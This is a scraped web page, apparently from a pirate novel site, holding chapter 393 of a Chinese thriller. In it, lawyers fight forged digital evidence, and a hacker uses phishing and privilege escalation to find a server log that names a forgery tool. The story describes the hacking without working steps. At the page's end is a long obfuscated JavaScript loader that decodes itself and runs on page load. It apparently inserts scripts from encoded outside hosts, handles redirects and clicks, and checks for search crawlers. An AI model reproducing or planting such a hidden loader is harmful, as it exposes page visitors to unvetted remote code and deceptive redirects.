首页
第393章 指纹溯源:来自隐
返回
关灯 护眼:关 字号:小

第393章 指纹溯源:来自隐门服务器

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第393章指纹溯源:来自隐门服务器(第1/2页)
    阿九的报告如同一块投入深潭的巨石,在看似平静的湖面下,激起了汹涌的暗流。然而,要将这暗流转化为能够撼动坚固堤坝的力量,需要的不仅是精准的技术分析,更是将冰冷数据转化为灼热法律证据的复杂博弈。
    苏瑾提炼出的要点和加密报告副本,如同两把淬火的短剑,分别递到了陆沉舟的首席律师方启明和林晚的辩护律师秦墨手中。两位律师,一位是久经沙场、在金融犯罪领域声望卓著的老将,另一位是坚韧敏锐、擅长在绝境中寻找缝隙的新锐,在收到这份“意料之外、情理之中”的关键材料后,都不约而同地感到了压力与希望交织的沉重。
    方启明律师的办公室位于市中心顶级写字楼的高层,窗外是繁华的都市景观,窗内却是凝重的气氛。他看着屏幕上经过脱敏处理但依然触目惊心的技术分析,花白的眉毛紧紧锁在一起。他立刻召集团队核心成员,关起门来开了整整一天一夜的会。最终,他们制定了一套极其大胆且周密的组合拳策略。
    首先,方启明以陆沉舟辩护团队的名义,正式向法院和检察院提交了一份《关于涉案关键电子证据存在重大伪造嫌疑并要求启动重新鉴定的紧急法律意见书》。这份意见书没有直接引用阿九报告的具体技术细节(以免暴露来源),而是以严谨的法律语言,指出现有证据在“证据链条完整性”、“证据生成逻辑合理性”以及“证据与其他客观事实的关联性”方面存在多处重大矛盾与疑点,并援引了多个国内外关于电子证据伪造的经典判例和权威学术观点,强调在涉及重大复杂经济犯罪、电子证据为核心指控依据的案件中,对电子证据的真实性、合法性进行最严格、最审慎审查的必要性。意见书最后,附上了经过精心挑选和处理的、从阿九报告中剥离出来的、最具说服力的几处“异常点”的示意图和通俗化说明,如同一根根尖锐的楔子,试图撬开检方“铁证”的外壳。
    与此同时,秦墨也在为林晚的案子奔走。她没有方启明那样庞大的团队和显赫的资源,但她有着不撞南墙不回头的韧劲和身为女性律师特有的细致。她将阿九报告中关于林晚涉案邮件和附件的“数字指纹”分析,转化为更易于法官理解的“合理怀疑”论述,结合林晚案件的具体情况,向办案检察院和法院提交了类似的重新鉴定申请。除此之外,她还利用自己积累的人脉,开始秘密接触国内几位在电子证据鉴定领域素有清誉、且以独立性著称的专家,试探他们接手此案的可能性。
    阻力,如同预料中那样,排山倒海而来。
    检方最初的反应是强硬而轻蔑的。负责陆沉舟案的检察官在内部会议上,将方启明提交的意见书斥为“毫无根据的猜测”、“拖延诉讼的技巧”、“对司法机关专业能力的侮辱”。他们坚持认为,现有证据链条完整,鉴定程序合法,所谓“数字指纹”不过是辩方聘请的“江湖黑客”炮制的、无法验证的玄学把戏,企图混淆视听。对于重新鉴定的申请,更是以“案件事实清楚、证据确实充分,无重新鉴定必要”为由,直接驳回。
    更令人不安的是,方启明和秦墨不约而同地感受到了一股无形的压力。他们试图接触的几位鉴定专家,或是以“案件敏感”、“已有委托”为由婉拒,或是通话时态度暧昧、顾左右而言他,甚至有人在约定见面时间前突然“身体不适”或“临时出差”。方启明团队内部,也开始出现一些不和谐的声音,有年轻律师担心此案背后水太深,恐影响职业生涯;秦墨则收到了几条来源不明的短信,暗示她“适可而止”、“为自己考虑”。
    一切迹象都表明,“母亲”的触手早已渗透到司法体系的各个层面,尤其是在专业性极强、门槛极高的电子证据鉴定领域。她似乎在编织一张密不透风的网,试图将阿九发现的真相,扼杀在摇篮里。
    “不能坐以待毙。”方启明在又一次碰壁后,对团队核心成员沉声道,“常规路径走不通,我们就走非常路径。证据的真实性,是本案的生命线。如果连鉴定真相的渠道都被堵死,那法律就真的成了摆设。”
    他决定双管齐下。一方面,利用自己在学界和实务界的影响力,通过公开的学术研讨会、内部专家论证会等形式,以探讨“电子证据时代新型伪造手段与司法应对”为议题,将本案中暴露出的、具有代表性的“数字指纹”疑点(隐去具体案件信息)抛出来,引发学术界和实务界对电子证据审查标准的大讨论,制造舆论压力和专业共识。另一方面,他将目光投向了境外。他通过国际律师协会的渠道,秘密联系了欧洲和美国几位在电子证据取证和反伪造领域享有国际声誉、且以独立性和职业道德著称的专家,试探他们是否愿意接受委托,对涉案电子证据进行“影子鉴定”(即非官方的、独立的第三方技术分析),并出具专家意见。虽然“影子鉴定”的报告在中国法庭上不能直接作为证据使用,但其权威结论,足以对承办法官产生巨大的心理影响,也能成为辩方申请重新鉴定的有力背书。
    秦墨则走了一条更接地气的路线。她不再执着于寻找那些早已名声在外的“权威”,而是将目光投向了高校和科研院所的实验室,寻找那些醉心技术、相对单纯、且对挑战高难度伪造技术有兴趣的青年学者和技术骨干。她通过校友、朋友等多种渠道,迂回接触,以“技术咨询”、“课题合作”的名义,将部分经过高度脱敏、但关键特征保留的技术难题抛出,激发对方的研究兴趣。同时,她开始着手整理林晚案件中那些明显违反常理、与其他证据矛盾的细节,准备将这些“软性”疑点与阿九发现的“硬性”技术疑点相结合,形成一份更具情感说服力和逻辑冲击力的辩护意见,直接呈交主审法官。
    就在方、秦两位律师在各自的战线上艰难推进时,身处风暴另一端的阿九,也并未停歇。她知道,仅仅发现“数字指纹”并提出合理怀疑是不够的。在司法对抗中,尤其是在对方可能操控鉴定环节的情况下,辩方需要更直接、更无可辩驳的证据,来证明这些指纹的来源,将“伪造”的指控坐实。
    她的目光,再次投向了那片危险的数字深海——“幽灵信使”服务器。上一次的渗透和窃取,虽然惊险,但收获的毕竟只是间接的通信日志。要建立伪造证据与“隐门”的直接联系,她需要更实质性的东西——比如,直接在“幽灵信使”的服务器上,找到与那些伪造文件相关联的原始数据、操作记录,甚至是……生成或修改那些伪造文件的工具、脚本的直接痕迹。
    这是一个更加疯狂、也更加危险的计划。“幽灵信使”在经历了上次的骚扰攻击和数据片段失窃(如果对方有所察觉的话)后,其安全防护必然已升级到前所未有的级别。再次潜入,无异于闯入龙潭虎穴。
    但阿九没有选择。她是“棋手”,是团队在数字世界的唯一利刃。苏瑾和律师们在现实世界冲锋陷阵,而她必须在虚拟世界,为他们找到足以一剑封喉的证据。
    她开始重新审视从“幽灵信使”备份节点窃取的那些日志片段。这一次,她不再仅仅关注通信记录,而是将分析重点放在了服务器的系统日志、安全日志、应用程序日志,甚至是那些看似无关紧要的、记录日常运维操作的日志上。她在海量的、看似杂乱的数据中,寻找着任何可能与“文件生成”、“文档编辑”、“时间戳修改”、“元数据处理”、“数字签名伪造”等操作相关的蛛丝马迹。
    这项工作如同大海捞针,且需要极强的耐心和想象力。阿九将自己编写的多个智能分析脚本投入数据海洋,让它们按照不同的模式进行筛选和关联。她自己则像一个最老练的猎人,紧盯着筛选结果,不放过任何一丝异常。
    时间在枯燥的数据分析中流逝。阿九几乎忘记了昼夜,忘记了休息,***和高度集中的精神支撑着她。她与苏瑾的联络也变得更加简洁和隐秘,只汇报最关键的信息,避免任何可能暴露自身位置和行动细节的通信。
    终于,在几乎要将那些日志数据每一字节都烙印在脑海中的时候,阿九发现了一组异常“清洁”的记录。
    在“幽灵信使”服务器庞大的日志海洋中,有一个专门用于记录内部文件操作(上传、下载、修改、删除等)的子模块。这个模块的日志本应非常详细,但在阿九分析的某个特定时间段内(恰好与她发现的那些“数字指纹”相关联的时间段高度重叠),关于某些特定目录和文件类型的操作记录,出现了不自然的“空白”或“高度概括化”。例如,原本应该记录“用户A于X时Y分Z秒,通过SSH协议,修改了/data/ops/FSF/目录下的contract_final_v3.pdf文件,修改内容为……”的详细日志,在这个时间段内,却变成了简单的“系统维护任务执行,涉及/data/ops/目录下部分文件更新,操作成功。”没有任何操作者、具体文件、操作内容的信息。
    (本章未完,请点击下一页继续阅读)第393章指纹溯源:来自隐门服务器(第2/2页)
    这种日志的“清洁”或“概括化”,本身就是一种异常。尤其是在一个以安全性和隐蔽性著称的通信服务器上,对内部文件操作的记录如此简略,极不寻常。这更像是有意为之的“日志清理”,目的是掩盖某些不想留下痕迹的敏感操作。
    阿九的精神为之一振。她立刻将分析重点转向这些被“清洁”过的日志条目,以及它们前后相邻时间段的正常日志。她试图通过对比正常日志和异常日志在格式、时间戳精度、记录进程ID、甚至是日志生成器版本号等细微差别,来还原被掩盖的操作真相。
    这是一场极其艰苦的数字考古。阿九调用自己编写的工具,对这些“清洁”日志条目进行“逆向工程”,尝试根据有限的上下文信息、系统其他部分的关联日志、以及服务器软件本身的行为模式,推测被掩盖的操作可能是什么。
    几天几夜不眠不休的攻坚后,阿九有了突破性的发现。她成功地从几条看似无关的、关于服务器资源(CPU、内存、磁盘I/O)监控的日志中,交叉比对出,在那些“清洁”的文件操作日志对应的时间点,服务器的某些特定进程(经分析,是几个用于文档处理、格式转换、甚至包含特定加密和元数据编辑功能的工具进程)出现了异常的、短暂的资源占用高峰。这些资源占用模式,与大规模、批量化的文档生成或修改操作高度吻合。
    更重要的是,阿九在其中一条资源监控日志的“附加信息”字段(通常记录进程的命令行参数或临时文件路径)的残缺记录中,捕捉到了一个关键字符串的片段。那个字符串被截断了,只剩下“……/template/atlas_invoice.docx”这样的部分。而“atlas_invoice”(阿特拉斯发票),恰恰是构陷林晚的关键证据之一——那封伪造的、林晚向“阿特拉斯文物基金”支付款项的“发票”——在原始证据中的内部参考名的一部分!
    虽然这只是个残缺的片段,但结合服务器在敏感时间段对文件操作日志的异常“清洁”、特定文档处理进程的异常活动、以及这个指向性极强的文件名残留,一个几乎可以确定的推论浮出水面:在“幽灵信使”服务器上,曾经有人(或自动化脚本)使用特定的工具,在特定的时间,大规模处理过一批文件,而处理的对象中,极有可能就包含了用于构陷林晚和陆沉舟的那些伪造证据的原型或中间文件!服务器管理者为了掩盖这些操作,刻意清理或简化了相关的操作日志!
    为了进一步证实这个骇人听闻的推论,阿九开始了一项更为冒险的行动。她试图追踪那些在敏感时间段异常活跃的文档处理进程,寻找它们在服务器文件系统中可能留下的任何“痕迹”——临时文件、缓存、备份、甚至是内存转储的残留。这需要更深层次的系统权限和更直接的服务器访问,风险呈几何级数增加。
    她像一个在雷区中穿行的幽灵,利用之前渗透时发现的、尚未被完全修补的几个低权限漏洞,结合社会工程学手段(伪造系统报警邮件诱使管理员执行某些操作),小心翼翼地提升着自己的访问权限,同时布下更多的“诱饵”和“绊线”,以迷惑可能存在的安全监控。
    每一步都如履薄冰。她能感觉到,服务器的防御体系如同苏醒的巨兽,开始更频繁地扫描、更严厉地阻断异常访问。有好几次,她的伪装差点被识破,连接险些中断。但她对数字世界的理解和操控已至化境,总是在千钧一发之际,以更精妙的欺骗和更快的反应,避开致命的探测。
    终于,在几乎耗尽所有预设的备用方案和逃生通道后,阿九在一个被标记为“临时归档”、即将被定期清理的存储分区深处,一个不起眼的、压缩过的日志备份包的一个角落里,发现了几行被遗漏删除的调试日志。这几行日志记录了一个内部工具(工具ID:ForgeMaster_v2.1)的执行情况,包括其加载的模板路径(其中一条路径片段,与她之前发现的“atlas_invoice”残留高度吻合)、处理的文件数量、以及……最关键的一行:
    [INFO]Batchprocessingcompleted.Digitalsignaturesinjectedsuccessfully.OperationID:FSF_OP_2023_0047.Cleanuproutinescheduled.
    (批处理完成。数字签名注入成功。操作ID:FSF_OP_2023_0047。清理例程已安排。)
    “ForgeMaster”(伪造大师)!“Digitalsignaturesinjected”(数字签名注入)!“FSF_OP_2023_0047”!操作ID与阿九之前发现的、在“幽灵信使”主日志中标记“FSF”(财务烟幕)计划的记录相关联!
    阿九的心脏几乎要跳出胸腔。她强忍着激动,迅速截取、加密、并分多次将这几行宝贵的日志记录,连同其完整的上下文和元数据,发送给苏瑾。发送完毕后,她毫不犹豫地启动了预先部署在所有入侵路径上的“清除协议”,抹除自己留下的一切痕迹,然后如同潮水般迅速退出,消失在网络的迷雾中,只留下被触发的无数虚假警报和一团乱麻的日志,让“幽灵信使”的安全团队去头疼。
    几乎在阿九退出成功的同时,苏瑾收到了这份致命的“礼物”。当她看到“ForgeMaster”、“Digitalsignaturesinjected”和那个刺眼的“FSF_OP_2023_0047”时,一股寒意从脚底直冲头顶,随即是熊熊燃烧的怒火和无可抑制的激动。
    这不再是间接的关联,不再是合理的怀疑。这是铁证!是直接在“隐门”控制的服务器上,找到的、证明其使用名为“ForgeMaster”的工具,批量伪造文件并注入数字签名的操作记录!而操作ID直接指向了构陷陆沉舟的“FSF”计划!
    “指纹”不仅被发现了,更被直接“溯源”到了伪造者的“车间”和“工具”上!
    苏瑾立刻将这份最新、最关键的发现,连同阿九更新的分析报告,再次发送给方启明和秦墨。这一次,信息更加简短,但分量足以让两位久经沙场的律师都为之动容。
    “证据源头已部分确认,服务器日志直指伪造工具及计划编号。可向法庭申请,依据《刑事诉讼法》关于电子证据收集、提取程序的规定,以及非法证据排除规则,要求控方就证据来源的合法性、电子证据的原始性、完整性进行说明,并传唤相关服务器管理人员或委托第三方对‘幽灵信使’服务器(或其镜像)进行司法鉴定。同时,可将我方获取的‘ForgeMaster’工具特征与涉案证据的‘数字指纹’进行比对,形成完整证据链。”
    这已不再是单纯的辩护,而是吹响了反攻的号角。阿九的发现,如同在坚固的城堡墙壁上,凿开了一个洞,让光线和真相,得以汹涌而入。
    接下来的战斗,将围绕着这份来之不易的、带着硝烟和风险气息的“服务器日志”,在法庭之上、在司法鉴定的实验室里、在舆论的战场中,全面展开。而“母亲”精心构建的证据堡垒,已然出现了第一道深刻的裂痕。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();